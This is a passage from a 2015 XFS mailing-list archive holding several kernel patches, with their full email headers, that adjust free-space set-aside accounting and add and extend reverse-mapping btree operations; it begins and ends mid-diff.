119be0a..031dd92 100644 --- a/fs/xfs/xfs_fsops.c +++ b/fs/xfs/xfs_fsops.c @@ -723,7 +723,7 @@ xfs_fs_counts( cnt->allocino = percpu_counter_read_positive(&mp->m_icount); cnt->freeino = percpu_counter_read_positive(&mp->m_ifree); cnt->freedata = percpu_counter_read_positive(&mp->m_fdblocks) - - XFS_ALLOC_SET_ASIDE(mp); + mp->m_alloc_set_aside; spin_lock(&mp->m_sb_lock); cnt->freertx = mp->m_sb.sb_frextents; @@ -796,7 +796,7 @@ retry: __int64_t free; free = percpu_counter_sum(&mp->m_fdblocks) - - XFS_ALLOC_SET_ASIDE(mp); + mp->m_alloc_set_aside; if (!free) goto out; /* ENOSPC and fdblks_delta = 0 */ diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index 1b2f72c..88da908 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -1196,7 +1196,7 @@ xfs_mod_fdblocks( batch = XFS_FDBLOCKS_BATCH; __percpu_counter_add(&mp->m_fdblocks, delta, batch); - if (__percpu_counter_compare(&mp->m_fdblocks, XFS_ALLOC_SET_ASIDE(mp), + if (__percpu_counter_compare(&mp->m_fdblocks, mp->m_alloc_set_aside, XFS_FDBLOCKS_BATCH) >= 0) { /* we had space! */ return 0; diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 8030627..cdced0b 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -96,6 +96,8 @@ typedef struct xfs_mount { uint m_bm_maxlevels[2]; /* XFS_BM_MAXLEVELS */ uint m_in_maxlevels; /* max inobt btree levels. */ xfs_extlen_t m_ag_prealloc_blocks; /* reserved ag blocks */ + uint m_alloc_set_aside; /* space we can't use */ + uint m_ag_max_usable; /* max space per AG */ struct radix_tree_root m_perag_tree; /* per-ag accounting info */ spinlock_t m_perag_lock; /* lock for m_perag_tree */ struct mutex m_growlock; /* growfs mutex */ diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index 904f637..6dc5993 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1072,7 +1072,7 @@ xfs_fs_statfs( statp->f_blocks = sbp->sb_dblocks - lsize; spin_unlock(&mp->m_sb_lock); - statp->f_bfree = fdblocks - XFS_ALLOC_SET_ASIDE(mp); + statp->f_bfree = fdblocks - mp->m_alloc_set_aside; statp->f_bavail = statp->f_bfree; fakeinos = statp->f_bfree << sbp->sb_inopblog; From darrick.wong@oracle.com Tue Oct 6 23:56:50 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 320B07F5F for ; Tue, 6 Oct 2015 23:56:50 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 13C97304032 for ; Tue, 6 Oct 2015 21:56:50 -0700 (PDT) X-ASG-Debug-ID: 1444193807-04bdf020dc0e400001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id b8v9hJJmDSeDV4mA (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:48 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974ukRB010985 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:47 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974ukVR020772 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:46 GMT Received: from abhmp0006.oracle.com (abhmp0006.oracle.com [141.146.116.12]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974ujC0018618; Wed, 7 Oct 2015 04:56:45 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:45 -0700 Subject: [PATCH 16/58] libxfs: fix min freelist length calculation From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 16/58] libxfs: fix min freelist length calculation To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:56:38 -0700 Message-ID: <20151007045638.30457.6662.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444193808 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines If rmapbt is disabled, it is incorrect to require 1 extra AGFL block for the rmapbt (due to the + 1); the entire clause needs to be gated on the feature flag. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_alloc.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/fs/xfs/libxfs/xfs_alloc.c b/fs/xfs/libxfs/xfs_alloc.c index 6fd9d3e..d7b9d43 100644 --- a/fs/xfs/libxfs/xfs_alloc.c +++ b/fs/xfs/libxfs/xfs_alloc.c @@ -1978,8 +1978,10 @@ xfs_alloc_min_freelist( min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_CNTi] + 1, mp->m_ag_maxlevels); /* space needed reverse mapping used space btree */ - min_free += min_t(unsigned int, pag->pagf_levels[XFS_BTNUM_RMAPi] + 1, - mp->m_ag_maxlevels); + if (xfs_sb_version_hasrmapbt(&mp->m_sb)) + min_free += min_t(unsigned int, + pag->pagf_levels[XFS_BTNUM_RMAPi] + 1, + mp->m_ag_maxlevels); return min_free; } From darrick.wong@oracle.com Tue Oct 6 23:57:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 283067F8C for ; Tue, 6 Oct 2015 23:57:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 196CA8F8035 for ; Tue, 6 Oct 2015 21:57:01 -0700 (PDT) X-ASG-Debug-ID: 1444193818-04cbb03f130d510001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id Gv5Jkju97Utma5UJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:56:58 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974uv5T005815 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:56:58 GMT Received: from aserv0122.oracle.com (aserv0122.oracle.com [141.146.126.236]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974uvxh026720 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:56:57 GMT Received: from abhmp0012.oracle.com (abhmp0012.oracle.com [141.146.116.18]) by aserv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t974uu7Q005914; Wed, 7 Oct 2015 04:56:57 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:56:56 -0700 Subject: [PATCH 17/58] xfs: add rmap btree operations From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 17/58] xfs: add rmap btree operations To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Dave Chinner Date: Tue, 06 Oct 2015 21:56:51 -0700 Message-ID: <20151007045651.30457.54292.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193818 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines >From : Dave Chinner Implement the generic btree operations needed to manipulate rmap btree blocks. This is very similar to the per-ag freespace btree implementation, and uses the AGFL for allocation and freeing of blocks. Signed-off-by: Dave Chinner --- fs/xfs/libxfs/xfs_btree.h | 1 fs/xfs/libxfs/xfs_rmap.c | 58 +++++++++++ fs/xfs/libxfs/xfs_rmap_btree.c | 204 ++++++++++++++++++++++++++++++++++++++++ 3 files changed, 263 insertions(+) diff --git a/fs/xfs/libxfs/xfs_btree.h b/fs/xfs/libxfs/xfs_btree.h index 67e2bbd..48ab2b1 100644 --- a/fs/xfs/libxfs/xfs_btree.h +++ b/fs/xfs/libxfs/xfs_btree.h @@ -204,6 +204,7 @@ typedef struct xfs_btree_cur xfs_alloc_rec_incore_t a; xfs_bmbt_irec_t b; xfs_inobt_rec_incore_t i; + struct xfs_rmap_irec r; } bc_rec; /* current insert/search record value */ struct xfs_buf *bc_bufs[XFS_BTREE_MAXLEVELS]; /* buf ptr per level */ int bc_ptrs[XFS_BTREE_MAXLEVELS]; /* key/record # */ diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index 3e17294..64b2525 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -36,6 +36,64 @@ #include "xfs_error.h" #include "xfs_extent_busy.h" +/* + * Lookup the first record less than or equal to [bno, len] + * in the btree given by cur. + */ +STATIC int +xfs_rmap_lookup_le( + struct xfs_btree_cur *cur, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner, + int *stat) +{ + cur->bc_rec.r.rm_startblock = bno; + cur->bc_rec.r.rm_blockcount = len; + cur->bc_rec.r.rm_owner = owner; + return xfs_btree_lookup(cur, XFS_LOOKUP_LE, stat); +} + +/* + * Update the record referred to by cur to the value given + * by [bno, len, ref]. + * This either works (return 0) or gets an EFSCORRUPTED error. + */ +STATIC int +xfs_rmap_update( + struct xfs_btree_cur *cur, + struct xfs_rmap_irec *irec) +{ + union xfs_btree_rec rec; + + rec.rmap.rm_startblock = cpu_to_be32(irec->rm_startblock); + rec.rmap.rm_blockcount = cpu_to_be32(irec->rm_blockcount); + rec.rmap.rm_owner = cpu_to_be64(irec->rm_owner); + return xfs_btree_update(cur, &rec); +} + +/* + * Get the data from the pointed-to record. + */ +STATIC int +xfs_rmap_get_rec( + struct xfs_btree_cur *cur, + struct xfs_rmap_irec *irec, + int *stat) +{ + union xfs_btree_rec *rec; + int error; + + error = xfs_btree_get_rec(cur, &rec, stat); + if (error || !*stat) + return error; + + irec->rm_startblock = be32_to_cpu(rec->rmap.rm_startblock); + irec->rm_blockcount = be32_to_cpu(rec->rmap.rm_blockcount); + irec->rm_owner = be64_to_cpu(rec->rmap.rm_owner); + return 0; +} + int xfs_rmap_free( struct xfs_trans *tp, diff --git a/fs/xfs/libxfs/xfs_rmap_btree.c b/fs/xfs/libxfs/xfs_rmap_btree.c index 5671771..58bdac3 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.c +++ b/fs/xfs/libxfs/xfs_rmap_btree.c @@ -34,6 +34,26 @@ #include "xfs_error.h" #include "xfs_extent_busy.h" +/* + * Reverse map btree. + * + * This is a per-ag tree used to track the owner of a given extent. Owner + * records are inserted when an extent is allocated, and removed when an extent + * is freed. There can only be one owner of an extent, usually an inode or some + * other metadata structure like a AG btree. + * + * The rmap btree is part of the free space management, so blocks for the tree + * are sourced from the agfl. Hence we need transaction reservation support for + * this tree so that the freelist is always large enough. This also impacts on + * the minimum space we need to leave free in the AG. + * + * The tree is ordered by block number - there's no need to order/search by + * extent size for online updating/management of the tree, and the reverse + * lookups are going to be "who owns this block" and so are by-block ordering is + * perfect for this. + * + */ + static struct xfs_btree_cur * xfs_rmapbt_dup_cursor( struct xfs_btree_cur *cur) @@ -42,6 +62,153 @@ xfs_rmapbt_dup_cursor( cur->bc_private.a.agbp, cur->bc_private.a.agno); } +STATIC void +xfs_rmapbt_set_root( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr, + int inc) +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + xfs_agnumber_t seqno = be32_to_cpu(agf->agf_seqno); + int btnum = cur->bc_btnum; + struct xfs_perag *pag = xfs_perag_get(cur->bc_mp, seqno); + + ASSERT(ptr->s != 0); + + agf->agf_roots[btnum] = ptr->s; + be32_add_cpu(&agf->agf_levels[btnum], inc); + pag->pagf_levels[btnum] += inc; + xfs_perag_put(pag); + + xfs_alloc_log_agf(cur->bc_tp, agbp, XFS_AGF_ROOTS | XFS_AGF_LEVELS); +} + +STATIC int +xfs_rmapbt_alloc_block( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *start, + union xfs_btree_ptr *new, + int *stat) +{ + int error; + xfs_agblock_t bno; + + XFS_BTREE_TRACE_CURSOR(cur, XBT_ENTRY); + + /* Allocate the new block from the freelist. If we can't, give up. */ + error = xfs_alloc_get_freelist(cur->bc_tp, cur->bc_private.a.agbp, + &bno, 1); + if (error) { + XFS_BTREE_TRACE_CURSOR(cur, XBT_ERROR); + return error; + } + + if (bno == NULLAGBLOCK) { + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 0; + return 0; + } + + xfs_extent_busy_reuse(cur->bc_mp, cur->bc_private.a.agno, bno, 1, false); + + xfs_trans_agbtree_delta(cur->bc_tp, 1); + new->s = cpu_to_be32(bno); + + XFS_BTREE_TRACE_CURSOR(cur, XBT_EXIT); + *stat = 1; + return 0; +} + +STATIC int +xfs_rmapbt_free_block( + struct xfs_btree_cur *cur, + struct xfs_buf *bp) +{ + struct xfs_buf *agbp = cur->bc_private.a.agbp; + struct xfs_agf *agf = XFS_BUF_TO_AGF(agbp); + xfs_agblock_t bno; + int error; + + bno = xfs_daddr_to_agbno(cur->bc_mp, XFS_BUF_ADDR(bp)); + error = xfs_alloc_put_freelist(cur->bc_tp, agbp, NULL, bno, 1); + if (error) + return error; + + xfs_extent_busy_insert(cur->bc_tp, be32_to_cpu(agf->agf_seqno), bno, 1, + XFS_EXTENT_BUSY_SKIP_DISCARD); + xfs_trans_agbtree_delta(cur->bc_tp, -1); + + xfs_trans_binval(cur->bc_tp, bp); + return 0; +} + +STATIC int +xfs_rmapbt_get_minrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_rmap_mnr[level != 0]; +} + +STATIC int +xfs_rmapbt_get_maxrecs( + struct xfs_btree_cur *cur, + int level) +{ + return cur->bc_mp->m_rmap_mxr[level != 0]; +} + +STATIC void +xfs_rmapbt_init_key_from_rec( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + key->rmap.rm_startblock = rec->rmap.rm_startblock; +} + +STATIC void +xfs_rmapbt_init_rec_from_key( + union xfs_btree_key *key, + union xfs_btree_rec *rec) +{ + rec->rmap.rm_startblock = key->rmap.rm_startblock; +} + +STATIC void +xfs_rmapbt_init_rec_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_rec *rec) +{ + rec->rmap.rm_startblock = cpu_to_be32(cur->bc_rec.r.rm_startblock); + rec->rmap.rm_blockcount = cpu_to_be32(cur->bc_rec.r.rm_blockcount); + rec->rmap.rm_owner = cpu_to_be64(cur->bc_rec.r.rm_owner); +} + +STATIC void +xfs_rmapbt_init_ptr_from_cur( + struct xfs_btree_cur *cur, + union xfs_btree_ptr *ptr) +{ + struct xfs_agf *agf = XFS_BUF_TO_AGF(cur->bc_private.a.agbp); + + ASSERT(cur->bc_private.a.agno == be32_to_cpu(agf->agf_seqno)); + ASSERT(agf->agf_roots[cur->bc_btnum] != 0); + + ptr->s = agf->agf_roots[cur->bc_btnum]; +} + +STATIC __int64_t +xfs_rmapbt_key_diff( + struct xfs_btree_cur *cur, + union xfs_btree_key *key) +{ + struct xfs_rmap_irec *rec = &cur->bc_rec.r; + struct xfs_rmap_key *kp = &key->rmap; + + return (__int64_t)be32_to_cpu(kp->rm_startblock) - rec->rm_startblock; +} + static bool xfs_rmapbt_verify( struct xfs_buf *bp) @@ -133,12 +300,49 @@ const struct xfs_buf_ops xfs_rmapbt_buf_ops = { .verify_write = xfs_rmapbt_write_verify, }; +#if defined(DEBUG) || defined(XFS_WARN) +STATIC int +xfs_rmapbt_keys_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_key *k1, + union xfs_btree_key *k2) +{ + return be32_to_cpu(k1->rmap.rm_startblock) < + be32_to_cpu(k2->rmap.rm_startblock); +} + +STATIC int +xfs_rmapbt_recs_inorder( + struct xfs_btree_cur *cur, + union xfs_btree_rec *r1, + union xfs_btree_rec *r2) +{ + return be32_to_cpu(r1->rmap.rm_startblock) + + be32_to_cpu(r1->rmap.rm_blockcount) <= + be32_to_cpu(r2->rmap.rm_startblock); +} +#endif /* DEBUG */ + static const struct xfs_btree_ops xfs_rmapbt_ops = { .rec_len = sizeof(struct xfs_rmap_rec), .key_len = sizeof(struct xfs_rmap_key), .dup_cursor = xfs_rmapbt_dup_cursor, + .set_root = xfs_rmapbt_set_root, + .alloc_block = xfs_rmapbt_alloc_block, + .free_block = xfs_rmapbt_free_block, + .get_minrecs = xfs_rmapbt_get_minrecs, + .get_maxrecs = xfs_rmapbt_get_maxrecs, + .init_key_from_rec = xfs_rmapbt_init_key_from_rec, + .init_rec_from_key = xfs_rmapbt_init_rec_from_key, + .init_rec_from_cur = xfs_rmapbt_init_rec_from_cur, + .init_ptr_from_cur = xfs_rmapbt_init_ptr_from_cur, + .key_diff = xfs_rmapbt_key_diff, .buf_ops = &xfs_rmapbt_buf_ops, +#if defined(DEBUG) || defined(XFS_WARN) + .keys_inorder = xfs_rmapbt_keys_inorder, + .recs_inorder = xfs_rmapbt_recs_inorder, +#endif }; /* From darrick.wong@oracle.com Tue Oct 6 23:57:09 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AD0057F98 for ; Tue, 6 Oct 2015 23:57:09 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 3D731AC006 for ; Tue, 6 Oct 2015 21:57:09 -0700 (PDT) X-ASG-Debug-ID: 1444193826-04bdf020dc0e440001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id VPLsc88TxKeJAvAi (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 21:57:07 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from aserv0021.oracle.com (aserv0021.oracle.com [141.146.126.233]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t974v6gT006267 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 7 Oct 2015 04:57:06 GMT Received: from aserv0121.oracle.com (aserv0121.oracle.com [141.146.126.235]) by aserv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t974v6Rg021695 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 7 Oct 2015 04:57:06 GMT Received: from abhmp0019.oracle.com (abhmp0019.oracle.com [141.146.116.25]) by aserv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t974v50I003043; Wed, 7 Oct 2015 04:57:05 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Tue, 06 Oct 2015 21:57:05 -0700 Subject: [PATCH 18/58] xfs: enhance rmap btree operations From: "Darrick J. Wong" X-ASG-Orig-Subj: [PATCH 18/58] xfs: enhance rmap btree operations To: david@fromorbit.com, darrick.wong@oracle.com Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Date: Tue, 06 Oct 2015 21:57:02 -0700 Message-ID: <20151007045701.30457.40870.stgit@birch.djwong.org> In-Reply-To: <20151007045443.30457.47038.stgit@birch.djwong.org> References: <20151007045443.30457.47038.stgit@birch.djwong.org> User-Agent: StGit/0.17.1-dirty MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit X-Source-IP: aserv0021.oracle.com [141.146.126.233] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444193827 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23261 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines Adapt the rmap btree to store owner offsets within each rmap record, and to handle the primary key being extended to [agblk, owner, offset]. The expansion of the primary key is crucial to allowing multiple owners per extent. Unfortunately, doing so adds the requirement that all rmap records for file extents (metadata always has one owner) correspond to some bmbt entry somewhere. Signed-off-by: Darrick J. Wong --- fs/xfs/libxfs/xfs_rmap.c | 32 +++++++++++++++++--- fs/xfs/libxfs/xfs_rmap_btree.c | 65 ++++++++++++++++++++++++++++++---------- fs/xfs/libxfs/xfs_rmap_btree.h | 7 ++++ 3 files changed, 84 insertions(+), 20 deletions(-) diff --git a/fs/xfs/libxfs/xfs_rmap.c b/fs/xfs/libxfs/xfs_rmap.c index 64b2525..f6fe742 100644 --- a/fs/xfs/libxfs/xfs_rmap.c +++ b/fs/xfs/libxfs/xfs_rmap.c @@ -37,26 +37,48 @@ #include "xfs_extent_busy.h" /* - * Lookup the first record less than or equal to [bno, len] + * Lookup the first record less than or equal to [bno, len, owner, offset] * in the btree given by cur. */ -STATIC int +int xfs_rmap_lookup_le( struct xfs_btree_cur *cur, xfs_agblock_t bno, xfs_extlen_t len, uint64_t owner, + uint64_t offset, int *stat) { cur->bc_rec.r.rm_startblock = bno; cur->bc_rec.r.rm_blockcount = len; cur->bc_rec.r.rm_owner = owner; + cur->bc_rec.r.rm_offset = offset; return xfs_btree_lookup(cur, XFS_LOOKUP_LE, stat); } /* + * Lookup the record exactly matching [bno, len, owner, offset] + * in the btree given by cur. + */ +int +xfs_rmap_lookup_eq( + struct xfs_btree_cur *cur, + xfs_agblock_t bno, + xfs_extlen_t len, + uint64_t owner, + uint64_t offset, + int *stat) +{ + cur->bc_rec.r.rm_startblock = bno; + cur->bc_rec.r.rm_blockcount = len; + cur->bc_rec.r.rm_owner = owner; + cur->bc_rec.r.rm_offset = offset; + return xfs_btree_lookup(cur, XFS_LOOKUP_EQ, stat); +} + +/* * Update the record referred to by cur to the value given - * by [bno, len, ref]. + * by [bno, len, owner, offset]. * This either works (return 0) or gets an EFSCORRUPTED error. */ STATIC int @@ -69,13 +91,14 @@ xfs_rmap_update( rec.rmap.rm_startblock = cpu_to_be32(irec->rm_startblock); rec.rmap.rm_blockcount = cpu_to_be32(irec->rm_blockcount); rec.rmap.rm_owner = cpu_to_be64(irec->rm_owner); + rec.rmap.rm_offset = cpu_to_be64(irec->rm_offset); return xfs_btree_update(cur, &rec); } /* * Get the data from the pointed-to record. */ -STATIC int +int xfs_rmap_get_rec( struct xfs_btree_cur *cur, struct xfs_rmap_irec *irec, @@ -91,6 +114,7 @@ xfs_rmap_get_rec( irec->rm_startblock = be32_to_cpu(rec->rmap.rm_startblock); irec->rm_blockcount = be32_to_cpu(rec->rmap.rm_blockcount); irec->rm_owner = be64_to_cpu(rec->rmap.rm_owner); + irec->rm_offset = be64_to_cpu(rec->rmap.rm_offset); return 0; } diff --git a/fs/xfs/libxfs/xfs_rmap_btree.c b/fs/xfs/libxfs/xfs_rmap_btree.c index 58bdac3..5fe717b 100644 --- a/fs/xfs/libxfs/xfs_rmap_btree.c +++ b/fs/xfs/libxfs/xfs_rmap_btree.c @@ -37,21 +37,26 @@ /* * Reverse map btree. * - * This is a per-ag tree used to track the owner of a given extent. Owner - * records are inserted when an extent is allocated, and removed when an extent - * is freed. There can only be one owner of an extent, usually an inode or some - * other metadata structure like a AG btree. + * This is a per-ag tree used to track the owner(s) of a given extent. With + * reflink it is possible for there to be multiple owners, which is a departure + * from classic XFS. Owner records for data extents are inserted when the + * extent is mapped and removed when an extent is unmapped. Owner records for + * all other block types (i.e. metadata) are inserted when an extent is + * allocated and removed when an extent is freed. There can only be one owner + * of a metadata extent, usually an inode or some other metadata structure like + * an AG btree. * * The rmap btree is part of the free space management, so blocks for the tree * are sourced from the agfl. Hence we need transaction reservation support for * this tree so that the freelist is always large enough. This also impacts on * the minimum space we need to leave free in the AG. * - * The tree is ordered by block number - there's no need to order/search by - * extent size for online updating/management of the tree, and the reverse - * lookups are going to be "who owns this block" and so are by-block ordering is - * perfect for this. - * + * The tree is ordered by [ag block, owner, offset]. This is a large key size, + * but it is the only way to enforce unique keys when a block can be owned by + * multiple files at any offset. There's no need to order/search by extent + * size for online updating/management of the tree. It is intended that most + * reverse lookups will be to find the owner(s) of a particular block, or to + * try to recover tree and file data from corrupt primary metadata. */ static struct xfs_btree_cur * @@ -165,6 +170,8 @@ xfs_rmapbt_init_key_from_rec( union xfs_btree_rec *rec) { key->rmap.rm_startblock = rec->rmap.rm_startblock; + key->rmap.rm_owner = rec->rmap.rm_owner; + key->rmap.rm_offset = rec->rmap.rm_offset; } STATIC void @@ -173,6 +180,8 @@ xfs_rmapbt_init_rec_from_key( union xfs_btree_rec *rec) { rec->rmap.rm_startblock = key->rmap.rm_startblock; + rec->rmap.rm_owner = key->rmap.rm_owner; + rec->rmap.rm_offset = key->rmap.rm_offset; } STATIC void @@ -183,6 +192,7 @@ xfs_rmapbt_init_rec_from_cur( rec->rmap.rm_startblock = cpu_to_be32(cur->bc_rec.r.rm_startblock); rec->rmap.rm_blockcount = cpu_to_be32(cur->bc_rec.r.rm_blockcount); rec->rmap.rm_owner = cpu_to_be64(cur->bc_rec.r.rm_owner); + rec->rmap.rm_offset = cpu_to_be64(cur->bc_rec.r.rm_offset); } STATIC void @@ -205,8 +215,16 @@ xfs_rmapbt_key_diff( { struct xfs_rmap_irec *rec = &cur->bc_rec.r; struct xfs_rmap_key *kp = &key->rmap; - - return 